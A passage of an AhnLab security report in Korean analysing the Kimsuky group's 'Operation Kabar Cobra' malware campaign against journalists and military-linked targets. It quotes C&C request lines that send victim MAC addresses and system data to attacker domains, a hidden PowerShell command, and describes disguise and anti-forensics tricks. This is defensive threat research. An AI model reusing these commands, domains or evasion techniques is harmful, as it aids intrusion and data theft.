2019. 02. 21 Operation Kabar Cobra Kimsuky 공격그룹의최신타깃공격사례분석 안랩시큐리티대응센터 (ASEC) 대응팀 경기도성남시분당구판교역로 220 ( 우 ) 13493 대표전화 : 031-722-8000 팩스 : 031-722-8901 www.ahnlab.com AhnLab, Inc. All rights reserved.
목차 개요... 3 오퍼레이션카바코브라 (Operation Kabar Cobra)... 4 악성코드상세분석... 4 1. 공격대상별드롭퍼 (Dropper) 분석... 4 2. 악성스크립트및기능별악성코드분석... 10 악성코드프로파일링... 33 1. 공격대상의변화... 34 2. 악성코드유포지및 C&C 서버... 38 3. 공격배후추정근거... 39 결론... 47 안랩제품대응현황... 47 IoC (Indicators of Compromise) 정보... 49 별첨... 52 AhnLab, Inc. All rights reserved. 2
개요 지난 2019 년 1 월 7 일, 통일부출입기자단을대상으로악성코드가첨부된메일이발송됐다. 해당메일과 악성코드는이른바 Kimsuky( 김수키또는킴수키 ) 로불리는공격그룹의것으로추정된다. 지난 2013 년처음알려진 Kimsuky 공격그룹은 2019 년현재까지활발하게활동하고있다. 특히최근에 는제 2 차북미정상회담을앞두고주변국내부의반응에대한정보를수집하는한편, 금융분야와암호 화폐분야를대상으로지속적인공격을시도하고있다. 본보고서는 Kimsuky 그룹이배후로지목되는최신표적공격사례를상세히분석하고, 공격그룹을특 정한기술적근거를서술한다. AhnLab, Inc. All rights reserved. 3
오퍼레이션카바코브라 (Operation Kabar Cobra) Kimsuky 그룹은정보수집의목적으로군사관련분야와언론사를지속적으로공격하고있는가운데최근에는금전적이득을목적으로암호화폐를포함한다양한산업분야에표적공격을확대하고있다. 이과정에서다수의악성코드를유포했는데, 일부공격에서 Cobra 라는이름의파일과 KABAR 라는뮤텍스문자열이확인되었다. [ 그림 1] Cobra.dll 3 파일에서확인된 KABAR 뮤텍스문자열 이를토대로안랩은 Kimsuky 그룹이그배후로추정되는최근일련의표적공격을 오퍼레이션카바코 브라 (Operation Kabar Cobra) 로명명했다. 악성코드상세분석 1. 공격대상별드롭퍼 (Dropper) 분석 안랩시큐리티대응센터 (AhnLab Security Emergency response Center, ASEC) 는 Kimsuky 그룹의활동으로 보이는공격시도를지속적으로모니터링및분석해왔다. [ 표 1] 은 2018 년 12 월부터올해 1 월사이에 ASEC 이확인한 Kimsuky 공격그룹의악성코드 ( 드롭퍼, Dropper) 와공격대상을요약한것이다. AhnLab, Inc. All rights reserved. 4
발견시기파일명위장파일형식공격대상 2018.12.26 2019 사업계획서.hwp{ 공백 }.exe 한글 (.hwp) (ROTC 2018 정기총회 ) 군사관련분야 (ROTC) 2019.01.07 미디어권력이동 6- 넷플렉스, 유 튜브.hwp{ 공백 }.exe 한글 (.hwp) ( 문화콘텐츠생태계 ) 언론분야 ( 통일부기자단 ) 한글 (.hwp) 2019.01.20 중국 - 연구자료.hwp{ 공백 }.scr ( 중국관련독서와여행의순 서 ) 미확인 [ 표 1] 공격대상별드롭퍼파일명및위장파일형식 (* 파일발견시기와실제유포시기는상이할수있음 ) 공격자는한글 (hwp) 문서아이콘으로위장하는한편, 파일이름에이중확장자를적용했다. 특히확장자 사이에다수의공백을추가해공격대상이쉽게알아차리지못하게했다. 이로써앞부분의.hwp 확장 자만보이게했으나, 파일의실제확장자는공백뒤에위치하고있는.exe 나.scr 이다. 윈도우 (Windows) 의폴더옵션보기설정에따라서차이가있지만일반적으로대부분의사용자는기본 설정인알려진파일형식의파일확장명숨기기상태를유지하고있다. 따라서 [ 표 1] 과같은이름의파 일을 PC 에다운로드하면한글 (hwp) 파일인것처럼보인다. 또한해당악성코드가실행될때정상적인한글파일문서처럼보이는화면이나타난다. 이때나타나는 파일은공격타깃이수신했던메일이나업무와밀접한내용처럼위장하고있다. [ 표 1] 에요약한공격대상별악성코드의상세한기능과동작방식을살펴보면다음과같다. AhnLab, Inc. All rights reserved. 5
(1) 군사관련분야 - 사업계획서.hwp{ 공백 }.exe [ 그림 2] 군사관련기관을노린악성코드파일 [ 그림 2] 는군사관련기관 (ROTC) 에유포된 2019 사업계획서.hwp{ 공백 }.exe 파일로, 위장용파일인 1.hwp 와함께추가악성코드다운로드및 C&C 통신등악의적인수행하는악성스크립트 2 종 (2.wsf, 3.wsf) 으로구성되어있다. [ 그림 3] 위장용파일 1.hwp 의내용 공격타깃을속이기위한위장용파일인 1.hwp 는 [ 그림 3] 과같이공격대상과관련된내용을포함하고 있다. 공격자는실제존재하는행사이름을도용해공격타깃의의심을피하고자했다. AhnLab, Inc. All rights reserved. 6
(2) 언론분야 - 미디어권력이동 6- 넷플렉스, 유튜브.hwp{ 공백 }.exe (2019.01.07) 2019 년 1 월 7 일에통일부기자단을대상으로 [ 그림 4] 와같은내용의이메일이발송되었다. 발송자 : 윤 **(human-ad@hanmail.net) 제목 : RE: TF 참고자료 본문내용 : TF 참고바랍니다 * 언론사별브랜드관련해서관리잘해주세요 ( 비번은 tf) 첨부파일 : TF 참고.zip [ 그림 4] 언론관계자를대상으로유포된악성메일의내용 해당메일에첨부된압축파일 (TF 참고.zip) 에는정상적인 PDF 문서 2 종 ( 넷플릭스 - 미디어 - 구조와 - 이용자 - 경험.pdf, 언론사별도브랜드.pdf), 이중확장자를가진악성코드 1 개 ( 미디어권력이동 6- 넷플렉스, 유튜 브.hwp{ 공백 }.exe) 등총 3 개의파일이포함되어있다. [ 그림 5] 언론관계자들에게유포된악성코드 [ 그림 5] 에서볼수있는것처럼언론관계자들에게유포된악성코드의형태는앞서확인한군사기관을 노린악성코드와동일한형태로구성되어있다. 이중에서위장용파일인 1.hwp 는공격타깃에맞춰언 론사웹사이트에게시된기사를도용하고있다 ([ 그림 6] 참고 ). AhnLab, Inc. All rights reserved. 7
[ 그림 6] 위장용파일 1.hwp 의콘텐츠 ( 왼쪽 ) 과실제언론사기사 위에서살펴본군사기관대상공격사례와언론분야공격사례모두위장용한글파일 (.hwp) 과악성스크립트가자동압축풀림 (WinRAR SFX) 으로압축되어있다. 해당압축파일을실행하면압축해제와동시에 [ 그림 7] 과같은옵션에의해악성코드가실행된다. 실제악성행위는이때실행된악성스크립트에의해시작되며, C&C 정보는공격자의구글드라이브로부터다운로드한다. [ 그림 7] 악성파일의등록정보예시 AhnLab, Inc. All rights reserved. 8
(3) 기타 ( 미상 ) - 중국 - 연구자료.hwp{ 공백 }.scr (2019.01.20) [ 표 1] 의악성코드중공격대상이명확하게파악되지않은중국 - 연구자료.hwp{ 공백 }.scr 는앞서살펴본 사례들과달리파일구조와동작방식이변경되었다. 중국 - 연구자료.hwp{ 공백 }.scr 는위장용파일과함께 C&C 정보파일, 그리고악성코드를리소스형태로 갖고있다. 공격타깃이해당파일을실행하면 [ 그림 8] 과같이악성코드를생성및실행하기위해리소 스관련함수비롯해다양한함수를호출한다. [ 그림 8] 악성코드 (AlyacMonitor.db) 와 C&C 정보파일 (AlyacMonitor.db_ini) 생성과정 위장용파일역시 [ 그림 8] 과같은과정으로생성되어화면에나타난다. 이때보이는내용은 [ 그림 9] 와 같이중국역사와관련된추천도서와그에대한간략한소개로구성되어있다. AhnLab, Inc. All rights reserved. 9
[ 그림 9] 위장용파일 ( 중국 - 연구자료.hwp) 의내용 2. 악성스크립트및기능별악성코드분석 앞서살펴본언론분야사례 ( 미디어권력이동 6- 넷플렉스, 유튜브.hwp{ 공백 }.exe) 를중심으로악성스크 립트와악성코드별상세기능에대해살펴본다. (1) 2.wsf 2.wsf 는악성코드를추가로다운로드및실행한다. 이때필요한 C&C 정보는공격자의구글드라이브로 부터다운로드한다. [ 그림 10] 공격자의구글드라이브에서 C&C 정보다운로드 AhnLab, Inc. All rights reserved. 10
[ 그림 11] 은공격자의구글드라이브에업로드된파일로, 악성코드를다운로드하기위한 C&C 정보가포 함되어있다. 이파일의내용은공격자에의해언제든지변경될수있다. 일반적으로다운로드기능을수행하는악성코드는내부에고정된 C&C 정보를갖고있다. 따라서해당 C&C 서버가차단될경우, 공격자는새로악성코드를제작하여배포해야하는번거로움이있다. 그러나이번사례의경우, C&C 서버가차단되더라도공격자는자신의구글드라이브에업로드한파일의내용만변경하면악성코드가새로운 C&C 서버와통신하며지속적으로악의적인기능을수행할수있다. [ 그림 11] 공격자의구글드라이브에업로드된파일 한편, [ 그림 11] 의하단에서볼수있는이메일주소 (countine.protector.mail@gmail.com) 는과거에서피 싱메일발신계정으로사용된바있다. 이와관련해지난 2018 년, 교육분야사이버안전센터 ECSC 에 서 [ 그림 12] 와같은권고문을게시한바있다. AhnLab, Inc. All rights reserved. 11
[ 그림 12] 공격자관련이메일계정에대한 2018 년보안권고문 2.wsf 가추가로다운로드한악성코드 (brave.ct) 는 [ 그림 13] 과같은과정을거쳐복호화된다. 이에의해 생성된 Freedom.dll 이파워쉘을통해실행된다. 단, 감염 PC 가 64 비트윈도우환경일경우 AhnLabMon.dll 로생성된다. [ 그림 13] 추가로다운로드된악성코드실행과정 AhnLab, Inc. All rights reserved. 12
(2) 3.wsf 2.wsf 와마찬가지로 3.wsf 도공격자의구글드라이브에업로드된파일로부터 C&C 정보를다운로드한다. [ 그림 14] 공격자의구글드라이브에서 C&C 정보다운로드 그러나 2.wsf 는단순히악성코드를추가로다운로드하고실행하는악성스크립트인반면, 3.wsf 는 [ 표 2] 와같이다양한기능을수행한다. 기능 설명 1 encode:function(c) 2 decode:function(c) 3 _utf8_encode:function(b) 4 _utf8_decode:function(a) C&C 서버와송수신하는데이터를 BASE64 로암호화또는복호화시사용 5 binaryfiletobase64:function(c) 6 function delete_file(a) 파일삭제 7 function exec_cmd(c) 명령실행 8 function send_log(a) 9 function send(b,c) 로그전송 10 function download(c) 파일다운로드 11 function upload(j,m) 파일업로드 12 function update() 3.wsf 업데이트 [ 표 2] 3.wsf 의기능 AhnLab, Inc. All rights reserved. 13
안랩이분석할당시, C&C 서버와의통신이가능했기때문에 3.wsf 가 C&C 서버와어떻게통신했으며, 공 격자가내린명령은무엇인지상당부분파악할수있었다. 3.wsf 는 [ 표 2] 에표기된기능을수행하기에앞서 C&C 서버로부터자신의버전정보를수신하여현재 감염 PC 에서실행되고있는자신의버전과비교하는작업을수행한다. 만약 C&C 서버를통해확인한 버전정보가현재버전보다상위일경우 [ 그림 15] 와같이업데이트된 3.wsf 를다운로드하고실행한다. [ 그림 15] 3.wsf 의버전정보비교및업데이트 안랩의분석당시, 해당악성코드가 C&C 서버로부터수신한 3.wsf 의최신버전은 1.2 였다 ([ 그림 16] 참 고 ). [ 그림 16] 분석당시 C&C 서버로부터수신한 3.wsf 버전정보 버전정보를확인한이후 3.wsf 는 C&C 서버로부터명령을수신하고실행하기위해다음과같은형식으 로파라미터를구성한다. 이후 C&C 서버에 GET 요청을하고, 그에대한응답으로 C&C 서버로부터 BASE64 로암호화된명령을수신하여실행한다. AhnLab, Inc. All rights reserved. 14
- C&C 명령을수신을위해 C&C 로전송될때파라미터형식 xhr.open(get,serverurl+/board.php?m=+mac_addr+&v=+version+ +TIMEOUT,false); xhr.send(); C&C 서버로전송할파라미터형식에서 3.wsf 의버전을파라미터로구성하는이유는공격자가현재감 염 PC 에서실행중인 3.wsf 의버전을확인하고, 버전별감염 PC 현황을파악하기위한목적으로보인다. MAC_ADDR = 감염 PC 의맥주소 VERSION = 3.wsf 의파일버전 (ex, VERSION=1.2) TIMEOUT = 3.wsf 에설정된타임아웃시간 (ex, TIMEOUT=3) [ 그림 17] 은 3.wsf 가 C&C 서버와통신한내역중일부로, 3.wsf 가 C&C 서버로부터파일다운로드명령 을수신하고 list.dll 파일을다운로드하는과정이다. [ 그림 17] 3.wsf 의 C&C 서버통신내역 1- 악성코드다운로드 특이한점은 3.wsf 의코드에는 [ 그림 17] 의과정을거쳐다운로드한 list.dll(cobra.dll) 를실행하는코드가 존재하지않는다는것이다. 그러나안랩은분석을통해 2.wsf 가다운로드한 Freedom.dll(AhnLabMon.dll) 이동일한 list.dll(cobra.dll) 을다운로드하고실행하는것을확인하였다. AhnLab, Inc. All rights reserved. 15
(3) list.dll(cobra.dll) 안랩의분석결과, list.dll(cobra.dll) 은감염 PC 에서다음과같은정보를수집하여 C&C 서버로전송하는 등의역할을하는것으로확인됐다. 드라이브의볼륨정보및하드웨어정보획득 폴더및파일목록수집 압축파일복사 [ 그림 18] 과 [ 그림 19] 는 list.dll(cobra.dll) 이감염 PC 에서폴더및파일목록을수집하고수집된정보를 C&C 서버로전송하는패킷이다. [ 그림 18] 폴더및파일목록수집 ( 왼쪽 ) 및수집된정보의 C&C 서버전송 ( 오른쪽 ) [ 그림 19] C&C 서버로전송된감염 PC 의폴더및파일목록 AhnLab, Inc. All rights reserved. 16
[ 그림 19] 에서보이는감염 PC 의폴더및파일목록이 C&C 서버로전송되면공격자는다음과같은두 가지목적으로활용할수있다. (1) 공격타깃의 PC 일경우, PC 제어및중요자료유출 (2) 분석가의 PC 일경우, 분석방해 분석툴강제종료, 허위플래그 (False Flag) 심기등 안랩의분석당시, 공격자는 (2) 번의목적으로추가명령을전송했다. 공격자는앞서 list.dll(cobra.dll) 이 수집한 PC 정보를분석해감염 PC 가분석가의시스템인것을파악할수있었을것으로보인다. [ 그림 20] 은공격자가전송한추가명령을복호화한것으로, 안랩이분석을위해해당악성코드샘플을저장한경로를볼수있다. 감염된 PC가분석가의 PC임을확인한공격자는감염 PC에서실행되고있는 3.wsf에 BASE64로암호화된명령을전송, cmd 명령을이용해특정경로에존재하는모든파일을삭제하도록했다. [ 그림 20] 3.wsf 의 C&C 서버통신내역 2 - cmd 명령실행 또한 [ 그림 20] 에서볼수있는것처럼 3.wsf는명령을수행한결과를 cmd_result로저장하여 C&C 서버로전송하도록되어있다. 그러나안랩의분석당시감염 PC와 C&C 서버의통신패킷에서는해당명령의결과를확인할수없었다. 다만, 감염 PC의 HDD 볼륨정보를획득하는아래의명령에대한실행결과는 [ 그림 21] 과같이 cmd_result로저장하여 C&C 서버로전송하는것이확인되었다. - C&C 통신예시 3 //cmd powershell.exe -windowstyle hidden get-psdrive -psprovider filesystem AhnLab, Inc. All rights reserved. 17
[ 그림 21] 3.wsf 의 C&C 서버통신내역 3 -HDD 의볼륨정보전송 한편, 안랩시큐리티대응센터 (ASEC)sms 3.wsf가다운로드한 list.dll(cobra.dll) 을분석하는과정에서한가지특징을발견했다. list.dll(cobra.dll) 은 2018년 12월 27일 (13:38:14) 에제작되었으며, 특정기능을실행할때마다 OutputDebugStringA() 를호출하여디버그메시지를출력한다. 이는공격자가의도한기능이정상적으로구현되는지테스트하기위한목적으로보인다. 또한 [ 그림 22] 와같이 C&C 서버와통신하는부분에어색한한글로작성된디버그메시지 ( 용량이 2메가안넘음 ) 가존재한다. [ 그림 22] OutputDebugStringA() 와한글디버그메시지 참고로, 2019 년 1 월 8 일 (03:11:11) 에제작된변종에서는 OutputDebugStringA() 를호출하는코드가제거 되었다 ([ 그림 23] 참고 ). [ 그림 23] 2018 년 12 월악성코드 ( 왼쪽 ) 과 2019 년 1 월변종 ( 오른쪽 ) AhnLab, Inc. All rights reserved. 18
(4) Freedom.dll( 또는 AhnLabMon.dll) 2.wsf가다운로드한 Freedom.dll(AhnLabMon.dll) 의주요기능은아래와같다. 공격자의구글드라이브에서 C&C 서버정보다운로드 64비트용 Freedom.dll(AhnLabMon.dll) 다운로드및실행 C&C로감염 PC 정보전송 악성코드추가다운로드및실행 - 추가다운로드파일형태 : Cobra_ 감염 PC의맥주소 ( 예 : Cobra_AABBCCDDEEFF) 감염 PC 정보를 C&C 서버로전송 앞서살펴본 2.wsf 나 3.wsf 와같이 Freedom.dll 도공격자의구글드라이브에업로드된특정파일로부터 C&C 서버정보를다운로드한다. [ 그림 24] 공격자의구글드라이브에서 C&C 다운로드 이후 [ 그림 25] 와같이 IsWow64Process() 를호출하여감염 PC의운영체제를확인해 64비트일경우자기자신의 64비트용버전을다운로드하고실행한다. 또한 DeleteUrlCacheEntryA() 를호출하여다운로드흔적을삭제하는데, 이는향후디지털포렌식을수행할경우악성코드유입경로등을파악하지못하도록방해하기위한목적으로보인다. [ 그림 25] 64 비트용악성코드다운로드및흔적삭제 AhnLab, Inc. All rights reserved. 19
안랩분석당시, 감염 PC와 C&C 서버의통신패킷에서 [ 그림 25] 의코드와관련된패킷을확인할수있었는데, 해당패킷에 AhnLab.cab이포함되어있었다. 파일명에서알수있는것처럼공격자가마치보안업체인안랩이제작한파일인것처럼위장한것으로, 실제로는 cab 파일이아니라암호화된파일이다. 해당파일이암호화되어있는이유는다운로드과정에서네트워크보안장비의탐지를회피하고디지털포렌식을방해하기위한것으로보인다 ([ 그림 26] 참고 ). [ 그림 26] 64 비트용 Freedom.dll( 또는 AhnLabMon.dll) 다운로드 암호화되어있는 AhnLab.cab 은복호화과정을거친후 AhnLabMon.dll 로생성되고, 아래와같은파라미 터를구성하여실행된다. - 자기자신의 64 비트용버전을실행하기위한파라미터 : C:\Windows\system32\rundll32.exe %TEMP%\ 임시파일명.tmp, RunControl 또한 Freedom.dll(AhnLabMon.dll) 도맥주소, IP, 감염시간, 운영체제버전등감염 PC 의정보를수집하 여 C&C 서버에전송하는데, 이때파라미터형식은다음과같다. - 감염 PC 정보를 C&C 로전송시파라미터 h**p://my-homework.890m.com/******/*****?word=com_[ 맥주소 ]&NOTE=[BASE64 로암호화된감염 PC 정보 ] AhnLab, Inc. All rights reserved. 20
[ 그림 27] C&C 서버로전송되는감염 PC 정보 안랩분석당시, C&C 정보에는 27 개 IP 의감염정보가 com_ 맥주소.txt 형식으로저장되어있었다. 이들 IP 에는실제감염 PC 와분석가의 PC 정보가뒤섞여있었으며, 실제감염피해가있는 PC 비율을정확하 게산출할수는없었다. 그러나이들 27 개 IP 의감염정보를토대로최초감염이발생한시점 (2018.12.24 08:13:52) 을확인할수 있었으며, 이로미루어공격자는통일부출입기자단을대상으로악성코드를유포하기에앞서지난 2018 년말부터다양한분야를대상으로악성코드를유포했음을알수있다. [ 그림 28] C&C 서버에업로드된감염 PC 의정보 AhnLab, Inc. All rights reserved. 21
[ 그림 29] 는악성코드를추가로다운로드하기위한 C&C 서버와의통신패킷으로, 몇가지특징이발견 됐다. [ 그림 29] 추가악성코드다운로드패킷 가변적인파일명추가로다운로드되는파일의이름은 Cobra_ + 감염 PC의맥주소의형태다. 따라서악성코드의파일명패턴과감염 PC의맥주소를모르면파일을다운로드할수없다. 또악성코드가바로다운로드되는것이아니라여러번의다운로드실패후성공했다. 일반적으로 C&C 서버와연결되면바로추가악성코드가다운로드되는것과다른점이다. 공격자는기존에수집한감염 PC의정보를분석하여실제공격타깃인 PC에만악성코드를추가로다운로드한것으로보인다. 즉, 분석가등의도하지않은사람또는시스템에서파일을다운로드할수없도록해둔것이다. 공격자는 2017년에제작한 core.dll에서도이러한방식을사용했다. 당시 core.dll은악성한글문서와함께유포됐으며, 악성코드를추가로다운로드하는 URL에감염 PC의맥주소를사용했다 ([ 그림 30] 참고 ). [ 그림 30] 2017 년 core.dll 의동작방식 AhnLab, Inc. All rights reserved. 22
암호화된파일다운로드다운로드한파일을암호화한것은다운로드과정에서네트워크보안장비에의해탐지되는것을회피하고디지털포렌식을방해하기위함이다. 암호화된파일은감염 PC에다운로드된후 [ 그림 31] 의복호화과정을거쳐실행가능한악성코드로생성된다. [ 그림 31] 복호화코드 ( 왼쪽 ) 및복호화전후 ( 오른쪽 ) 동일한파일명및함수명 Freedom.dll(AhnLabMon.dll) 은 Rundll32.exe 를통해복호화된 3 개의 Cobra.dll 에공통적으로존재하는 Query() 를실행한다 ([ 그림 32] 참고 ). [ 그림 32] Cobra.dll 실행방식 AhnLab, Inc. All rights reserved. 23
(5) Cobra.dll 복호화된 Cobra.dll 3 개의특징및기능은 [ 표 3] 과같다. 구분 Cobra.dll 1 Cobra.dll 2 특징 3.wsf가다운로드한 list.dll(cobra.dll) 와동일한파일 C&C 정보 (nid-mail.esy.es) 는하드코딩되어있음 Cobra.dll 1와동일하지만 C&C 서버정보는별도의 ini로부터읽어옴 감염 PC 의플랫폼에따라각각아래의악성코드다운로 Cobra.dll 3 드, 복호화및실행 - 32 비트윈도우일경우 : secu32_init, private32-64 비트윈도우일경우 : secu64_init, private64 [ 표 3] Cobra.dll 의특징및기능 [ 그림 33] Cobra.dll 의다운로드및복호화과정 AhnLab, Inc. All rights reserved. 24
Cobra.dll 3 은 2017 년에제작된 core.dll 이추가로다운로드하는 1F46.tmp 와동일한기능을하는데, 파일 다운로드, 복호화및실행, 레지스트리값추가, 중복실행방지를위한뮤텍스생성등이그것이다 ([ 그 림 34] 참고 ). [ 그림 34] 2017 년 1F46.tmp 와 2019 년 Cobra.dll 3 의코드 Cobra.dll 3 에는자신이다운로드한 private32.db, secu32_init.inf 에존재하는 EXPORT 함수의주소를획득 하는코드가존재한다. 그러나실제로는 [ 그림 35] 에표시된함수만사용한다. [ 그림 35] Cobra.dll 3 의 DLL 로딩및함수주소획득과정 AhnLab, Inc. All rights reserved. 25
이러한점으로미루어공격자는악성코드제작시기존코드를재사용해중복되는기능을조금씩수정 했음을짐작할수있다. (6) private32.db 및 secu32_init.inf private32.db 와 secu32_init.inf 는상호의존적으로동작한다. private32.db 가악의적인기능을수행하면 secu32_init.inf 가그결과를 C&C 서버로전송하는구조다. 구분 주요기능 백도어 키로깅 private32.db 화면캡쳐 시스템정보수집 - 드라이브볼륨, 맥주소, 폴더및파 일목록등 secu32_init.inf 의 EXPORT 함수호출 인터넷연결상태체크 secu32_init.inf 다운로드흔적삭제및다운로드 감염 PC 에서수집한정보전송 - 화면캡쳐, 키로깅데 이터등 [ 표 4] private32.db 와 secu32_init.inf 의기능 [ 그림 36] 는 private32.db 와 secu32_init.inf 의상호의존적인동작방식을보여주는것으로, 감염 PC 에서 수집한키로깅데이터를 C&C 서버로전송하는과정이다. AhnLab, Inc. All rights reserved. 26
[ 그림 36] 2019 년 private32.db 와 secu32_init.inf 의동작방식예시 [ 그림 36] 의과정을거쳐감염 PC 에서수집한정보를 C&C 서버로전송할때각정보의종류를식별할 수있도록특정문자열이식별자로사용된다. 이또한 2017 년에제작된악성코드와동일한방식으로, [ 표 5] 와같이시기별변종에따라식별자로사용하는문자열은다르다. 시기 문자열 운영체제정보 : 감염 PC 의맥주소 _micky_20170616_154151041 2017 년 화면캡쳐 : 감염 PC 의맥주소 _jeny_20170616_005357041 키로깅데이터 : 감염 PC 의맥주소 _rose_20170616_162428041 폴더및파일목록 : 감염 PC 맥주소 _AllList_20190107_110643041 (Cobra.dll 2019 년 이수행 ) 화면캡쳐 : 감염 PC 맥주소 _tojeny_20190107_111328041 키로깅데이터 : 감염 PC 맥주소 _rosemary_20190110_172531041 [ 표 5] 변종별특징적인문자열 AhnLab, Inc. All rights reserved. 27
[ 그림 37] 감염 PC 에서수집한정보를 C&C 서버로전송하는패킷 안랩이분석할당시, 감염 PC 에서수집된정보가 C&C 서버로전송되는것을확인할수있었다 ([ 그림 37] 참고 ). 또한 C&C 서버에는실제감염 PC 에서전송된것으로보이는캡쳐화면도존재했다 ([ 그림 38] 참고 ). [ 그림 38] C&C 서버에존재하는감염 PC 의정보및화면캡쳐 공격자는대략 2017 년부터 private32db 와 secu32_init.inf 를제작한것으로보인다. [ 그림 39] 는 2017 년에 제작된 private32 와 secu32_init 의동작방식의일부로, [ 그림 36] 과동일한내용임을확인할수있다. AhnLab, Inc. All rights reserved. 28
[ 그림 39] 2017 년제작된 private32 와 secu32_init 의동작방식 이보고서에서는 2017년과 2019년에제작된 private32.db와 secu32_init.inf에대해서만설명했지만, 안랩은 2018년에도변종이제작되었음을확인했다. 2017년부터 2019년현재까지공격자가 3년간제작한악성코드는일부 EXPORT 함수명만다르고코드는동일하거나함수명과코드모두동일하다 ([ 그림 40] 참고 ). [ 그림 40] 연도별 private32.db 와 secu32_init.inf 의코드 ( 왼쪽부터 2017 년, 2018 년, 2019 년순 ) AhnLab, Inc. All rights reserved. 29
한편, 지난 3 년간공격자가제작한다수의악성코드중 private32.db 와 secu32_init.inf 의발견빈도는높 지않았으며, 필요에따라악성한글문서나중간다운로더등다른악성코드와함께간헐적으로사용 됐다. 이러한양상은앞으로도지속될것으로보인다. (7) tvengine.dll과 MsMpQhp.exe tvengine.dll는앞서살펴본군사관련기관에유포된파일 ( 사업계획서.hwp{ 공백 }.exe) 과비슷한시기에유포된것으로보인다. 특히동일한 C&C 서버 (my-homework.890m.com) 에서유포되었다는점에서두악성코드가관련있을가능성이높다. 사업계획서.hwp{ 공백 }.exe tvengine.dll 발견시기 2018-12-26 10:53 2018-12-27 21:09 유포지 my-homework.890m.com h**ps://myhomework.890m.com/gnu/download/tveng ine.dll [ 표 6] 악성코드발견시기및유포주소 tvengine.dll 에는암호화된 TeamViwer 3.0 버전이존재하며, 복호화후 MsMpQhp.exe 로생성및실행한 다. [ 그림 41] MsMpQhp.exe 의복호화과정 AhnLab, Inc. All rights reserved. 30
tvengine.dll의변종을분석한결과, 파일의 TimeStamp를토대로공격자는최소 2년전부터간헐적으로변종을제작한것으로보인다. [ 표 7] 은 tvengine.dll 변종의정보를요약한것이다. 이들 4개변종에는공통적으로 EXPORT Names에 tvengine.dll이란파일명이존재하며, 해당파일들을실행하면 TeamViwer 3.0 버전의동일한 MsMpQhp.exe를생성한다. 파일명 TimeStamp MD5 EXPORT 함수명 복호화키 tvengine.dll 2018.12.22 10:08:11 GMT+09 a45ba001c3abee03bda49c6816d9a17 c Query ariak.dll 2018.11.27 22:53:59 GMT+09 0a50827a4897a43a882c8d3c691d943 d EntryFunc 0xB316A62 IECheck.dll 2017.06.23 10:55:43 GMT+09 02dae3046d1669a55785ba935b0e3f0 b Run 7 45D3.tmp 2017.06.26 15:29:48 GMT+09 ba89337af43f0b07a35cc892ac95112a Run [ 표 7] tvengine.dll 의변종악성코드 [ 표 7] 의 IECheck.dll과 45D3.tmp는 2017년에제작 유포된악성한글문서및관련 core.dll과연관성을갖고있다. 공격자는대략 2017년 4월경부터 7월까지국가기관및대학교직원들을대상으로이메일을통해악성한글문서를유포했다. 메일수신자가해당악성한글문서를열면 core.dll에감염되며, core.dll이 C&C 서버와통신한후다수의추가악성코드를 PC에다운로드및실행했다. 이때다운로드된파일에 IECheck.dll과 45D3.tmp이포함되어있었다. [ 그림 42] 2017 년 core.dll 의다운로드기능 AhnLab, Inc. All rights reserved. 31
한편, MsMpQhp.exe 는등록정보, TimeStamp, 내부문자열등을분석한결과, 약 12 년전에제작된 TeamViewer 3.0 으로확인되었다. 공격자는 [ 그림 43] 과같이해당버전을이용하여공격대상 PC 를제어 하려고했다. [ 그림 43] MsMpQhp.exe 의정보 MsMpQhp.exe 는 UPX 로실행압축되어있다. 압축해제후코드를확인한결과, 아래와같은 PDB 정보 를확인할수있었다. - PDB Path: c:\\teamviewer\\teamviewer\\release\\teamviewer.pdb 공격자는과거에도 TeamViwer 를악용한사례가있다. 당시에는 TeamViwer 버전 5 를이용하였는데, 이 번공격에사용된 MsMpQhp.exe 와유사한 PDB Path 정보를갖고있다. 2013_netsvcs.exe_ab73b1395938c48d62b7eeb5c9f3409d - PDB Path: c:\teamviewer5_release\teamviewer\release\teamviewer.pdb 2014_spl.exe_b02f3881321f0912b2ae3f27498c448f - PDB Path: F:\Work\Tool\Timeviewer\20140113\ie_moth\Release\ie_moth.pdb - PDB Path: c:\teamviewer5_release\teamviewer\release\teamviewer.pdb 2014_xpsp2.exe_11fc4829c2fff9fb240acbd71c60fc67 - PDB Path: F:\Work\Tool\Timeviewer\20140113\ie_moth\Release\ie_moth.pdb - PDB Path: c:\teamviewer5_release\teamviewer\release\teamviewer.pdb AhnLab, Inc. All rights reserved. 32
(8) AlyacMonitor.db와 AlyacMonitor.db_ini 올해초유포된중국-연구자료.hwp{ 공백 }.scr 파일은 AlyacMonitor.db 파일을생성한다. AlyacMonitor.db 은앞서살펴본 Freedom.dll( 또는 AhnLabMon.dll) 과동일한기능을수행하지만, C&C 정보를특정레지스트리경로에추가하는기능을갖고있다는점에서차이를보인다. 이는기존의 Freemon.dll(AhnLabMon.dll) 이자신과동일한경로에존재하는 ini 파일에서 C&C 정보를읽어와 C&C 서버와통신하는방식의단점을보완한것이다. 기존의 Freemon.dll(AhnLabMon.dll) 는 C&C 정보를저장하고있는 ini 파일이어떤이유로존재하지않을경우 C&C 서버와통신할수없으며, 결과적으로악의적인기능을수행할수없게된다. 이에반해 AlyacMonitor.db는 ini 파일이존재하지않더라도특정레지스트리경로에추가해둔 C&C 정보를읽어와 C&C 서버와통신하여악의적인기능을수행할수있다 ([ 그림 44] 참고 ). [ 그림 44] 레지스트리에 C&C 정보추가기능 악성코드프로파일링 악성코드분석은파일의기능을파악하여악성여부를판별한후백신에시그니처를업데이트하는일련 의과정이라할수있다. 이에반해악성코드프로파일링은악성코드분석을통해추출한악성코드의 AhnLab, Inc. All rights reserved. 33
